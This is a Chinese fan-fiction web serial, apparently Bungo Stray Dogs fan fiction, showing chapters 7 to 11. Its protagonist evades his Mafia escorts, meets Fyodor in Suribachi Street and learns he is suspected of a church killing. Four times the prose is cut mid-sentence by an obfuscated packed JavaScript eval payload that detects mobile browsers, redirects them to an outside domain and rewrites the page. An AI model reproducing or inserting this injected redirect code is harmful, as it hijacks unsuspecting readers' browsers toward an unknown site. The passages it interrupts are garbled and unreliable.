《被首领宰捡到后》 7.第七章 “被自己的异能杀死……”你说,“这是异能者才能办到的吧。” “肯定是异能者。异能科应该已经查到了这个异能者的身份,说不定其所在地也查到了,但是由于群体失忆事件,调查进度估计会倒退一截。”中也说。 虽然不知道“异能科”是什么,但他的话语中透露出这样的信息:在群体失忆事件之前,就已经发生了异能者被异能杀害的事情。 除此之外……你注意到,中原中也谈及异能者的时候,脸上浮现出了一丝冷淡的神色。 他很有可能知道那名异能者是谁。 “你认识他吗?”你问。 中也听到这个问题,沉默了一会儿。 “涩泽龙彦——如果我猜得没错的话,这个异能者的名字是涩泽龙彦。只是打过一次,不熟……” 中也仿佛想起了什么不愉快的回忆,脸色不太好。 “太宰最初变得奇怪,好像就是在那段时间……”他低声喃喃了一句,随后郑重其事地看向医生和司机,“你们不仅要去查他现在在哪,最好还要查清楚他为什么会重新出现。这些年都没有他的消息,我以为这家伙在几年前就已经死了呢,现在出现在横滨,不知道又在打什么主意……行动的时候,万事小心。” “我知道,会小心的。那可是涩泽君,龙头抗争的罪魁祸首。”医生笑了起来,“那时候可是死了不少人啊……会不会有第二次龙头抗争呢?” 医生冰冷的语调配上阴郁的笑容,给人一种毛骨悚然的感觉。 龙头抗争发生在大约六年前。 在那时,几乎整个横滨的犯罪组织都在为了不知从何传出的“巨额遗产”而相互争斗。 军警每天都能从像郊区的废弃工厂这样的地方找到尸体,但横滨本身就是个混乱的地方,尸体大多要么连身份都难以辨识出来,要么干脆就是黑户,更别说去查凶手了。 除此之外,争斗又大多发生在租界内,且有大量外来势力以及洋商参与其中进行争夺。 军警受限于《神奈川港土地章程》的规定,在租界内没有警察权,如果要参与其中,控制大规模争斗的发展,就需要经过外国领事召开的租地人会议(Meeting of the Renters of Land)的批准。但是,在事态明显对外国势力不利前,领事显然不可能批准军警参与进来。 故而,这争斗的规模便越来越大,最后竟持续了将近三个月之久。 那段争斗时期以“龙”的出现与“双黑”的成名结束。因“龙”的出现,那段黑暗时期被称为“龙头抗争”,而“双黑”则是指港口Mafia的一个少年组合,击败了“龙”,结束了抗争。 不过……虽然“双黑”在几年前十分有名,但在如今,名声已经小了不少。 最主要的原因是“双黑”里的中原中也目前确认已成为了Mafia的干部,但近年来越来越少在横滨露面,而“双黑”中的另外一人,极为神秘,身份不明,可以说是完全淡出了世人的记忆中。 其实,不是不能怀疑Mafia会在抗争初期置身事外,而最终却让“双黑”强势出手,如果不是Mafia首领明面为犯罪组织,实际上却想维持横滨秩序,就是Mafia的首领在幕后与军警达成了不可告人的合作…… 你:“我对龙头抗争还挺了解……普通市民能了解到这样的程度吗?” 也许你的这具身体曾经参与过龙头抗争,有残余相关的印象。 阳光把楼梯道分割成黑白两半,中原中也走在最前面下了楼,而医生和司机走在你的后方。 你们停在车前,中也转头望向你,“小朔你刚才在自言自语什么?” “我在想,希望龙头抗争不要再次发生。”你说,“我想和医生一起去查涩泽龙彦。” 中也有些担心,“虽然你这么说,但是……哎。” 这位实力强大的青年明显想让你和他一起回事务所,但他败在了你真诚的眼神下。中也勉强点了点头。 “那……医生、冷血,你们照顾好朔君?” 你总算知道了司机的名字,或者说代号——“冷血”。 一个听起来就十分冰冷残酷的称谓,可以立即联想到,这个家伙平日里做的绝不只是司机的工作。 “中也先生不必担心,您在和我相差无几的年龄都能击败‘龙’了,而我们只是去查个行踪与目的而已,不会出什么事的。”你说。 中也还没说话,医生抽了抽嘴角,“谁要和他比啊,谁能和他比啊……” 冷血则注视着中也,低声说,“有我们看着,首领也会同意的。” 他这句话似乎别有深意。 中也和冷血对视了一会儿,又点了点头,“行……你之前说组织里有内鬼,你们车上的定位别忘了清理。内鬼这事我先和太宰说一声,问问他的想法。” “别忘了钢琴家约了晚上在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12496904|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老地方聚会——”医生轻轻笑道,“庆祝你这个一年到头都回不了横滨几次的大忙人回来。” “都说了不用……算了。”中也摆了摆手,“知道了。” …… “黑蜥蜴出任务的车的定位系统是被改过的,而且有安装反追踪的系统。”冷血检查着车辆,“技术部处理过,按理来说,不会被追踪到才对。” 中也先行离开后,一个个穿着黑西装的Mafia走上楼,将昏迷的埋伏人员搬走。 据医生说,最后这些人会交给审讯人员处理,但他对于揪出这些人背后的人不抱希望,因为这些家伙看起来像雇佣兵,估摸着连他们自己也不知道是谁派他们来的。 “金鱼。”你指了指后视镜旁边的挂饰。 冷血立即领会到了你的意思。 他取下挂饰,将金鱼形状的塑料外壳轻易地捏碎,只见那外壳破碎后,里面露出一个黑色的精巧仪器。 冷血深深地看了你一眼,正要破坏掉这个装置,你伸手阻止道,“给我吧,我对这个很感兴趣,想研究一下,说不定会发现什么线索。” “如果发现不了,就回去交给技术部的前辈们。”你补充道。 “也行。”冷血想了想,将这个定位追踪的装置交给你,随后启用了车上的反追踪系统。 医生和冷血坐在前座,你坐在后座,他们讨论了几句,最后将目的地放在擂钵街。 擂钵街是横滨一处极为特殊的地方。多年前的一场爆炸后,海边地区在爆炸下出现了一个巨大的深坑,流离失所的人们在这处深坑中建造房屋,形成了一圈又一圈的复杂街道,到如今便成了如今横滨最大的贫民窟——擂钵街。 在驱车前往擂钵街的时候,果戈里的手机忽然振动了一下,一条来历不明的讯息映入你的眼帘。 ——“你好,太宰朔。” 你平静得堪称淡然地,在果戈里的手机上找到了名为俄罗斯方块的小游戏,外放游戏音乐,做出正在打游戏的模样。 随后,回复了一张图片,或者说表情包:猫捉住鼠的尾巴,将鼠拎起来,仔细地打量小鼠。 很快就又有了新的回复。 ——“如此自然地将自己代入猫咪了吗?或许,您也是一只鼠呢?” 你:【喵。】 这次对面回得没那么快了,过了一小会儿,才又有一条信息发来。 ——“猫咪为什么会放走小鸟?” 8.第八章 你回复:【为了能够让你感受到疑惑,向我提出这个问题。】 手机另一端的人:【我现在真的有点疑惑了。】 你:【会有更多疑惑的。】 另一端的人:【比如?】 你回复了一个猫和老鼠的表情包:猫站在老鼠的洞口,弯下腰低头朝里面看。 另一端的人没再继续发消息。 你删除短信记录,开始认真地玩俄罗斯方块。 很快就到了擂钵街。这时你已经把这款单机俄罗斯方块的纪录玩到了上千分,之前果戈里留下的纪录是九百多分,你轻松地刷新了纪录,不愧是你。 虽然这种古老游戏的纪录突破没有任何意义,果戈里此前想来也不会认真玩这个小游戏,但你的心情保持着愉悦的状态,你的身体感到十分放松。 车停在了擂钵街的入口。 由于擂钵街整体呈现为一个漏斗深坑的形状,有着大量阶梯,路道也十分狭窄,还有些地方放置着居民的杂物,或者垃圾堆,车辆无法进去,你们必须步行入内。 “你们知道擂钵街里的传说吗?”你忽然开口道。 医生和冷血还没来得及疑惑,你便接着道,“这里离海边很近,在擂钵街出现之前,这里原本是横滨的郊区,有一些货物的加工工厂和仓库。当然,也常有犯罪分子会把这里当做据点。” 你说的是错误的。 擂钵街出现前正是异能战争时期,到处都一片惨淡混乱,这片地区也不例外。这里靠近港口,又偏僻,正常来说的确是个合适的、用来给犯罪分子当据点的地方。 但由于未知的原因,当时的Mafia并没有把爪子伸到这里,其他的犯罪组织也从不在这里游荡,这里是罕见的安全的地方。 你继续道,“一名无辜的少年在这里被犯罪分子残忍地杀害了,然而他是荒神的眷属,荒神降下了怒火与神罚,于是这里发生了巨大的爆炸,后来便有了现在的擂钵街。” 你所说的话毫无来由,只有一种可能……你有编故事的天赋。 医生全神贯注地听着,而冷血则皱了皱眉,他像捕食的鹰隼一般,紧紧盯着你。 他好像察觉到,随着你讲述的故事,你的某种能力发生了作用。 或许这就是他的能力——察觉到异能的发动。 “据说在现在的擂钵街,偶尔还能够看见那名少年的身影,枉死的怨气没有让他变成恶鬼,反而让他成为了守护神。”你说,“都市传说虽然怪诞不经,有许多虚假的部分,但总是有着某个原型。我所说的只是其中一个版本,所有关于擂钵街的传说都有‘荒神’的存在,如果什么时候能见见荒神就好了。” 你和医生几乎是并排地走下楼梯。 什么也没有发生。冷血有些困惑,他跟在你们身后,从衣服口袋里摸出了一支烟点上,深深地吸了一口,随后缓慢地吐出烟圈。 “说不定你已经见过了呢。”医生意味不明地笑道。 太阳的角度不好,楼梯被阴影覆盖了。 如果是在擂钵街的正西方,从长长的楼梯顶部望下去,层层叠叠火柴盒一般的房屋会像是大地衣服的补丁,而太阳从深坑的另一头升起来,像是要晒去衣上的螨虫,照亮这荒芜的土地。但擂钵街四通八达,出入口众多,在你们现在的方位,阳光全被房屋挡了去。 突然间,你停在了阴影里,不再向下走。 然而医生浑然不觉,他继续往下行进着。 冷血亦然,他与你擦肩而过,却没有注意到你停在了原地。 他们的感官受到了某种“影响”,或者你自身的存在感受到了某种“影响”。但是,你的能力能蒙蔽他们多久呢? 你静静地站在楼道的高处,目送他们向下。 他们穿过阴影处,走到相对空旷的有阳光的地方,然后又走入阴影处……依然没注意到你没有跟上,对于你的注视,连头都没有回。 你的异能比任何人所想象的都恐怖得多……尤其是在对你没有防备的人面前。 你转过身,原路返回,向上走,走到了可以说是擂钵街最外围的地方。 随后,你离开了阶梯,向右手边拐了个弯。 擂钵街除了阶梯以外的道路是一圈一圈的环状街道。路上的行人不多,一路见到的都是小孩子和老人,体型干瘪,穿着十分朴素的衣服,缩在门边上,或警惕、或冷漠地看着你。 每走一段距离,就能看见周围的砖墙上画着五颜六色但画风绝对谈不上光明的涂鸦,或者用红色的喷漆写着激进的话语。涂画的位置大多不高,也许这只是擂钵街小孩的娱乐手段,但你能感受到其中饱满的情绪与冲击力。 一种灾难,擂钵街本身就代表着一种灾难。 也许这样让你感到自由,你彻底摆脱了医生和冷血,独自、像散步一样,简单地穿行于复杂的灾难中,最后,停在一座平平无奇的小屋前。 你拿出了果戈里的手机,向之前联系的人发送了两条消息。 第一条是此前的“猫站在老鼠洞口”的表情包,你将这个表情包又发了一遍。 第二条也很简短:【咚咚咚。】 发完信息,没有等对面回复,你就收起了手机,抬头看了几秒面前这座小屋的门,而后,便在门口转悠。 和擂钵街许多房屋一样,屋门前有个洗手池和用来洗衣服的台子,只不过这座房屋的台子上落了灰,像是很久没有人来使用过,或者这里很久没人居住。一盆仙人球放在台子的边缘,倒是生长得很好。 你动作自然,隐蔽地将一个黑色的装置丢在了台子的下面—— 那是从车上的金鱼挂饰里取出的定位装置。 谁也不知道这个定位装置会引来什么人……谁在乎呢?反正它现在有了新的去处。 你在门口站了一会儿,没过多久,门竟自动开了。 没人开门,这个门会打开是因为某种精巧的机关……擂钵街普通居民的房子里会出现这样的机关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12528453|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就像从河里捞到黄金。 你紧了紧不太合身的外套,穿过了这扇门。 屋子不大,有一个小楼梯通往二楼。擂钵街有一部分房子是这样的设计,楼层不高,用来建造的材料也廉价,要是有规模大一些的打斗就很容易坍塌,但塌下来也不会造成重大伤亡,因为用来建房的材料相对较轻。 房屋内的布置也很平常,摆着桌椅与架子,靠窗的桌子上放着一些厨具,由于空间实在很小,厨具也只有一个卡式炉,然后就是锅和碗……平常到可以说是简陋。 门像它之前自动开启一样,没发出很大的动静便自己关闭了,与此同时,随着细微的机关启动的声响,出现了新的楼梯——通往地下室。 地下室似乎没有开灯,不像一楼至少有窗户的光亮,十分昏暗。 但你毫不畏惧,径直走进了地下室。 “您来得真快……” 地下室的空间反而比上面一层的空间大许多,一名身形纤细、一看就不是横滨本地人的青年,坐在电脑前。他的面前摆着好几台电脑,键盘和鼠标旁边有一杯咖啡——已经喝了一半。 “怎么找到这里的?”稍有些凌乱的黑发下,是一双紫色的眼睛,似乎还有一些红……光线太暗了,而他又坐在荧光屏前面,电脑屏幕的冷光照得他的眼睛颜色神秘又诡谲。 青年偏过头,饶有兴趣地注视着你。 “涩泽君最近应该在骸塞附近,骸塞在擂钵街附近,而你会在涩泽君附近,所以,这段时间,你大概率会藏在擂钵街。”你说,“这座房子的门对面墙壁上有鼠的涂鸦。还有,门口的仙人掌上有隐藏的摄像头。擂钵街里的人们不会在房屋前放隐藏的摄像头,没有这个必要。” “您是对的,但是,您来得太快了。”他眼含笑意地摇了摇头,“简直就像事先知道我在这里一样。” 的确,你到这里来的速度太快了,你不是逐一排查擂钵街的房屋,而是仿佛早就知道目的地,直接来到这个地方,再说出这里的特征。 你到这里的速度是一个明显的破绽,不过在要在甩掉医生和冷血的同时来到这里,你也只能用这样的速度。 再慢一些,医生和冷血就会发现你的失踪……说不定他们现在已经发现了。 至于为什么你会事先知道这个地点……这是一个谜团,或者一种神秘,就像光合作用那样,疯狂和混乱是神秘情报钻入脑海的诱因……也许是太阳告诉你的。谁知道呢。你是特殊的死而复生的人类,知晓一些另外的东西也是应该的。 “我运气好。”你说。 你用运气解释了这一点。 其实,用运气也能说得通,你在这里散步,然后凭借你超乎寻常的观察力与思考能力,莫名其妙发现了这个房屋不太寻常……真是好运!你应该去买彩票。 “是这样吗,好到让别人妒忌的运气呢……”青年似乎接受了这样的说法,没有在这里纠结太多,他微笑着看着你,“您来这里做什么?” 9.第九章 “单纯地想来看看你而已……费奥多尔先生,有人说过你很好看吗?”你说。 “还真是意想不到的理由呢……”被你称呼为费奥多尔的青年笑了笑,“您是从公安那里知道的我的名字?” “你是怎么知道我的名字的,我就是怎么知道你的名字的。费奥多尔先生,你派果戈里先生来带我走,肯定是因为关心我,所以我也很关心你,知道你是谁,也理所当然。” “您对每个人都这么说吗?”费奥多尔感兴趣地问。 “我只对好看的人这样说。”你说。 费奥多尔脸上的笑容颇为奇异,“既然您只是来看一看我,现在您看过了。” “我想再看久一点。”你说,“人类对美丽的皮囊很难有抵抗力,我也不例外。” “久到什么时候?”他问。 你凝视着他,费奥多尔竖起食指放在唇前表示噤声,“说‘永远’就太虚假了,朔君,第一次见面不能太轻浮,你也想给我留下好的印象,是不是?” “那我应该怎么说?”你虚心求教。 “待到今天日落。”费奥多尔答道,“这里是擂钵街的东边,我这里地处高处,二楼窗户正对着夕阳,可以看到整个擂钵街,如果你视力好的话,连大海和海边的樱花树都能看见……比我好看得多,你会喜欢的。” “你会和我一起吗?”你问。 “如果我说不会呢?” 你低下头,拿出手机,给他发了一张猫将鼠捉起来的表情包,“不行,你得和我一起,否则……我就把你捉拿归案。” “好可怕的威胁,看来我只好束手就擒了。”费奥多尔从容地笑着说。 就在这时,你外套口袋里的手机响起了悦耳的铃声,这铃声一下子打碎了你们在昏暗地下室中的微妙氛围。 费奥多尔做了个“请”的手势,你低头将手机拿出来,屏幕上显示的备注名字是“太宰先生”。 真遗憾,太宰治应该发现了你偷偷溜走的行径,看来你不到一个小时的自由之旅即将告一段落——别灰心,下一次说不定能坚持跑掉更久的时间,比这次多一分钟也算进步。 费奥多尔眯了眯眼睛,他坐在扶手椅上,拿起旁边的咖啡杯,轻啜了一口,优雅得像欧洲宫廷里的国王,而站立着的你——当然就是他的臣民。 你:“断头台……” 现在不是去想处决路易十六的时候,你得想想怎么和太宰治解释你的行为。 或许你有更简单的方法——那就是不接电话,这样你就可以继续这场无所顾忌的自由之旅了。 但你毫不犹豫地按下了接通。 “朔君?”太宰治好听的声音从电话那一边传来,从他的语气里你听不出任何的情绪,你无法捉摸出他的想法。 “是我。”你应道。 你听见太宰那边传来轻轻的呼气声,“没事就好,医生说你突然不见了,我很担心你呢。” 不得不说,他人直白说出的“我很担心你”,是有几分蛊惑的力量的。 “太宰先生担心的是我的安全吗?”你问。 “是啊,担心出事。以后可以不要不告而别吗?” 如果要细究,他这句话有一点微妙的地方,因为他说的是“担心出事”,而不是“担心你出事”。 “如果太宰先生也能答应我绝对不会不告而别的话,我就答应你。”你说。 “我当然不会这样做。那就这样约定了哦?” “可是太宰先生在撒谎。”你说,“你走的时候从不和我说。” 不知怎地,一种火焰烧灼的感觉,从你的灵魂深处传达至躯体,致使你的心跳变得紊乱起来。你觉得嘴巴有些干,无意识舔了舔嘴唇。 “……嗯?”太宰沉默了一会儿,语气有些疑惑地问,“我有这样做过吗?” “昨天晚上,你明明知道我没睡着,但你还是没和我打一声招呼就走了。”你说。 “朔君……”太宰笑了起来,“你这样说的话,是不是就太不讲理了呢?我可没有让你假装睡着。” “少年人的世界都是不讲道理的。”你不讲道理地说,“太宰先生,如果你能保证不会不告而别的话,以后我出门就事先告诉你一声。” “你在哪里?信号不是很好,听不清呢。”太宰若无其事地说。 显然,他并不想做出什么保证,也不想任由你将话题牵着走,于是用一种极其虚假的说法拒绝了你。 你开的是免提,听见这句话的费奥多尔轻轻笑了一声,“我这里的信号,好到能将您的保证一字不落地记下来。” 太宰那边沉默了几秒,“朔君,就算你忘了很多东西,但你还记得你之前的伤势吧?成年人的世界是非常残忍的,他人即危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12551669|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险,不要轻易相信别人喔。尤其是让你不和我说一声就去见面的人,这种人通常居心不良,千万不要被一些表象欺骗了。” 他以为是费奥多尔主动引诱你到他身边,在暗示“你身边的人不是好人”,没有去设想“你主动找上了费奥多尔”这种可能。 看来……医生还没来得及把你之前与果戈里的对话事无巨细地汇报上去。 费奥多尔对太宰的话语不置可否,他朝你微微一笑,问道,“您也对他那样说吗?” 你眨了眨眼睛。 费奥多尔眼中含笑道,“我的意思是——他是‘好看的人’吗?” “什么?”太宰没懂费奥多尔的话。 “他当然是。”你笃定地回答道。 你与费奥多尔奇怪的对话让太宰停顿了一会儿,随后,电话那边的首领先生说,“朔君,让你身受重伤的人还没有找到,你在外面很危险,还是早些回来比较好呢。” “谎言。”费奥多尔漫不经心地说,“太宰君担心的不是这个吧?” 首领先生压根没有理会费奥多尔,关切地对你说,“你现在还在擂钵街吗?入夜的话,那里就不安全了……旗会在晚上有个聚会,就是医生他们的聚会,你想参加吗?如果要参加的话,最好在日落之前就回来呢。” “太宰先生,旗会的聚会,你会参加吗?”你问。 “虽然首领的行踪是机密,但我可以明确地说‘不会’。”太宰说。 “那你要去哪里?”你问。 “首领的行踪是机密哦。”太宰没有回答。 “只是像太宰先生担心我一样,我也很担心你啊。”你说。 太宰安静了一会儿,笑了起来,他温和地说道,“唉呀,保护我的人很多,我是最不需要担心的呢。” 你看了看费奥多尔,慢吞吞地问道,“如果我没有在日落之前回去……” 太宰的声音依然温和,“那也没关系哦,朔君有自己的想法很好,但是啊……等你回来之后,我可能得用实践告诉你一些东西,防止你被坏人骗走了。” 他简直是指名道姓地说在你旁边的费奥多尔是“坏人”。 “告诉我什么?”你问。 太宰轻轻地笑着,“少年人的世界是不讲道理的,成年人的世界是非常残忍的,而你的监护人呢,是既不讲道理,又非常残忍的。” 10.第十章 通话结束,你和费奥多尔一时都没有说话。 他紧紧注视着你,等待你做出决定,而你——没有听太宰的话离开,没有挪动你的腿。 费奥多尔手上的勺子与咖啡杯碰在一起发出清脆的声音,十分悦耳。 “我想知道原因。”他说。 “什么原因?” “您应该离开这里的。”费奥多尔慢条斯理地搅动着咖啡。 黑色的咖啡,看不出加了牛奶的痕迹,或许加了方糖,也或许没有。 “你在这里面加了方糖吗?” 你问。 “没有。”费奥多尔不明白你为什么会提出这个问题,“我的咖啡里不加任何东西。” “和太宰先生很不一样呢。”你说,“我不是说过的吗?我想再看看你,看久一点。” “直到今天日落?”他问。 “直到今天日落。”你说,“我答应了你的。” 咖啡没有热气,已经凉了,但费奥多尔还是将其喝完,随后起身,将杯子拿去冲洗。 你坐到了他的位置上,看着桌上电脑的屏幕……你看不懂,他屏幕上的字符串以及各种指令非常复杂,费奥多尔就像电影里的黑客。出于礼貌,你没有动他的键盘和鼠标。 电脑屏幕与键盘缝隙都十分干净,可以看出它们的主人是位勤于整理自身的人。 鼠标旁边有个手机,费奥多尔就是用这个给你发消息的。 桌子是某种木头材质,靠着墙,沉重但稳定。边缘处摆着一个小小的花盆,里面装着湿润的泥土,但是没有种任何植物。 “在看什么?” 费奥多尔端着咖啡杯回来了,你投去轻巧的一瞥。他的杯中又盛满了那种黑色的苦涩饮料。是他对这种饮料有某种特殊偏爱,还是为了提神,不得不如此? “为什么不在花盆里种东西,却还给它浇水?”你戳了戳花盆。 “一开始是没想好该种什么。”费奥多尔说,“后来发现,这样也挺好的,植物可能会因为这里暗无天日的环境死亡,但花盆不会。” “你有一个花盆宠物!”你惊叹道,“它叫什么名字?” “……嗯?”费奥多尔愣了一下,旋即轻笑道,“它还没有名字。您给它取个名字吧,取什么名字它都会喜欢的。” 你们都不觉得给一个花盆取名字有什么不对劲的地方。 对于正常人来说,花盆就是花盆。不过……一个刚清醒过来就开始光合作用的少年,以及一个给空花盆浇水、躲在地下室的青年,能有多正常呢? “那我可得好好想想。”你认真道。 虽然你看不懂电脑上在运行什么,但费奥多尔还是关闭了电脑。 他走到一楼,从冰箱里拿出食材,开始炖煮一种有很多种蔬菜的汤,由于加了西红柿,色泽看起来也十分诱人。 你们用蔬菜汤和煎牛肉搭配着面包作为午餐。 “有一处地方你的监护人说得没错。”费奥多尔只吃了很少的一点食物,他的胃口似乎不太好,也难怪他的体形如此纤细。说实话,他的面色看起来并不健康,看上去他是那种知道该做什么能保持健康,但懒得去做的人。 “太宰先生不撒谎的时候说的都是实话。”你说了一句特别正确的话。 费奥多尔的手艺不错,至少很符合你这具躯壳的口味,你津津有味地喝完一碗汤,又盛了一碗。 “……擂钵街入夜之后的确会危险不少。”他坐在你对面,用一只手托着下巴,“你有没有考虑过换个监护人?” “从未考虑过。”你抬头看了费奥多尔一眼。 “他没空照顾你的,尤其是最近这段时间,他会很忙、很忙……”费奥多尔漫不经心地说,“而且……你们似乎也没那么熟悉吧?” “你怎么知道?”你问。 “我这里有二叶亭彻的资料。”费奥多尔说,“至少几天之前,您还是‘二叶亭彻’,而不是‘太宰朔’。您认识他最多只有几天的时间。” 你笑了笑,“原来如此……你的记忆也失去了三天。群体失忆事件发生的时候,你也在横滨。” 这很容易从他的话中推测出来,费奥多尔也没有去做无谓的否认,“对。” “你觉得群体失忆事件和我有关?”你说,“果戈里先生来找我,是你的授意。” “您就是群体失忆事件的缘由。”费奥多尔说。 “你怎么知道?”你再次问。 “您这是不否认的意思吗?” 你微笑着摇了摇头,“我不是失忆事件的缘由,我只是好奇,为什么好像你们都认为我是。” 这回他回答得没那么快,而是先盯着你看了一会儿,像是在思考要不要把答案告诉你。 在短暂的沉默后,费奥多尔说,“朔君应该知道横滨官方有个专门管控异能者的部门?” “异能特别事务科。”你说。 费奥多尔轻轻点头,“他们在失忆事件发生后,很快就查明了失忆范围,随后,将范围的中心锁定在了山手教会。虽然当他们赶过去的时候,Mafia已经把你带走了,不过,他们应该有专门用来调查事件、取得情报相关异能的异能者,还是发现了你是那座教堂内部的唯一幸存者。” “唯一幸存者……?” “意思是其他的都是尸体。”费奥多尔拿出手机,“场面非常血腥,可能会影响您的食欲。” “我吃完了。”你喝掉碗中最后一口汤。 于是他举起手机伸到你面前,将手机中的照片展示给你看—— 照片是以偏向俯视的视角拍摄的。 教堂内的钟与圣母玛利亚雕像前,一具男尸跪伏在那里,该具尸体的手掌脚掌都被子弹打穿,血流了一地。而在其身后,横七竖八倒了一片面露惊恐之色的尸体,你粗略扫了一眼,大约有十来具。温暖的阳光穿过哥特式教堂华美的玻璃彩窗,照在尸体上,光彩四溢。 盯着这张照片,你感到出奇的平静,甚至可以说是可怕的宁静,还有……一种空洞。 你偏了偏头看向窗外,今天的阳光也很好,将费奥多尔深邃的眼眸都照亮了不少。 这位有着紫红色眼睛的青年一直注视着你。 你将视线重新移到照片上。 特务科肯定立即封锁了这个教堂,费奥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12588691|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多尔能弄到这张案发现场的照片,实在是不简单。 再仔细看,照片中人们的死法并不一样。雕像前的男尸身中数枪,身上还有被殴打的痕迹,却没有明显的致命伤,你可以模拟出他变成照片中这样的过程——凶手先是打穿其手脚,暴力殴打了他一顿,而后按着其跪在雕像前,任由其流血死亡。 至于其他的尸体——致命伤要么在脑袋,要么在心脏,几乎都是一枪毙命。 “唯一的幸存者,还有别的意思吧……”你轻轻歪了歪脑袋,“你们认为我不仅是失忆事件的罪魁祸首,而且是这个案子的凶手,或者……目击者?” “您真的什么都不记得了?”费奥多尔探究地看着你。 “我失去的记忆比任何人都多,不止是三天,几乎是……全部。”你说。 事实上,不是失去记忆,而是这具躯壳换了个灵魂。 费奥多尔眯了眯眼,他将手机平放在桌上,指着照片中躺在地上的尸体说,“这些是Mafia干的。到现场的Mafia人数应该不多……除了他们的首领,也就是你的那位监护人,就是几个异能者护卫。他们着急把你送往医院,需要保护你和那位首领,所以没来得及清理现场,被特务科和军警直接抓到了把柄。” “不过,这些人都是犯罪组织的成员。你们横滨默认犯罪组织归港口Mafia管,Mafia近几年势力发展得奇快,而且,他们杀得很利落,也没留下直接证据,无法建立指控Mafia首领亲手杀人的证据链,所以嘛……这么多人的死,也只是一个用来交换利益的把柄,不会将你那位首领送进监狱。” “群体失忆事件、异能者被异能杀害事件、还有这个案子……太宰先生得忙多久才能有空闲的时候?”你叹息一声,指着雕像前的尸体,“你的意思是,但这个人的死,不是Mafia干的?” 费奥多尔颔首,“杀死这个人的凶手……非常有可能是你。” “非常有可能?”你莫名地想发笑。 “没有找到任何指向你的证据……我说的是,‘任何证据’,无论是直接证据还是间接证据,都没有找到。这具尸体身上没有你的指纹,尸体指缝里也没有你的皮肤碎屑、毛发或者衣服纤维,连凶器——杀死他的那把枪,也神秘消失了。甚至没人知道你杀他的动机。” “那怎么能认为是我?”你问。 “因为名侦探江户川乱步。”费奥多尔说,“他发动异能之后,下意识说出了凶手是你,但是……他拒绝对为什么会说出你的名字进行任何的解释,也拒绝帮忙找到证据。” “是这样啊……名侦探……”你若有所思。 “也正是因为如此,即使他是名侦探,警方对其说出的凶手也是半信半疑的态度。特务科用异能推测出,现场可能还有一个‘消失的人’,这个人可能是真正的凶手,所以到了最后,他们只是以测试为理由派人来调查你,而没把你带走。” “他们不带走我不是因为没有证据,而是因为我的首领先生在保护我。”你说。 “也许吧。”费奥多尔笑了笑,“他们觉得凶手可能不是你,我却觉得……凶手一定就是你。” 11.第十一章 “你猜测凶手是我,我也有一个猜测。”你煞有介事地说,“真相只有一个——凶手是诺亚。” 从费奥多尔疑惑的眼神中可以看出,他把这辈子听说过的名叫诺亚的人都想了一遍。 “我刚刚想好的,把地下室那个花盆命名为诺亚。就决定是这个了。”你说,“诺亚杀的。原因的话……因为它缺少阳光,非常阴暗。” 费奥多尔面无表情地鼓掌,“哇哦,从未设想的角度,精彩的推理。” 他一定是觉得你推测出的凶手很可靠。 是的,为什么不可能是诺亚杀的呢?凭什么花盆不能千里迢迢地赶到教堂,然后莫名其妙地杀死一个人类呢,实在是太有道理了。 “但是,侦探先生。”费奥多尔举手,“我可以为诺亚提供不在场证明,它这些天都和我在一起呢。” “证明无效。”你双手比了个叉,严肃道,“你失去了那几天的记忆,所以你不知道它是不是真的和你在一起。” “难道它会长腿跑了吗?侦探先生,它只是一个花盆。”费奥多尔不赞同地说,“推理小说写作法则规定了,花盆不能成精。” 瞧你把他逼得,都开始和你一样胡说八道了。 “推理小说法则还规定不能有异能者呢。”你说着跳下了椅子,“我要去逮捕它。” 你跑到地下室,把诺亚从地下室抱了出来。这是个简单的红陶花盆,里面装着湿润的泥土,有一种浅淡的咖啡味道……费奥多尔到底在用什么浇灌这个盆?对了,他在午餐前新拿的那杯咖啡呢? 很难相信模样如此乖巧还爱喝咖啡的小盆会是杀人案的凶手,果真是盆不可貌相。 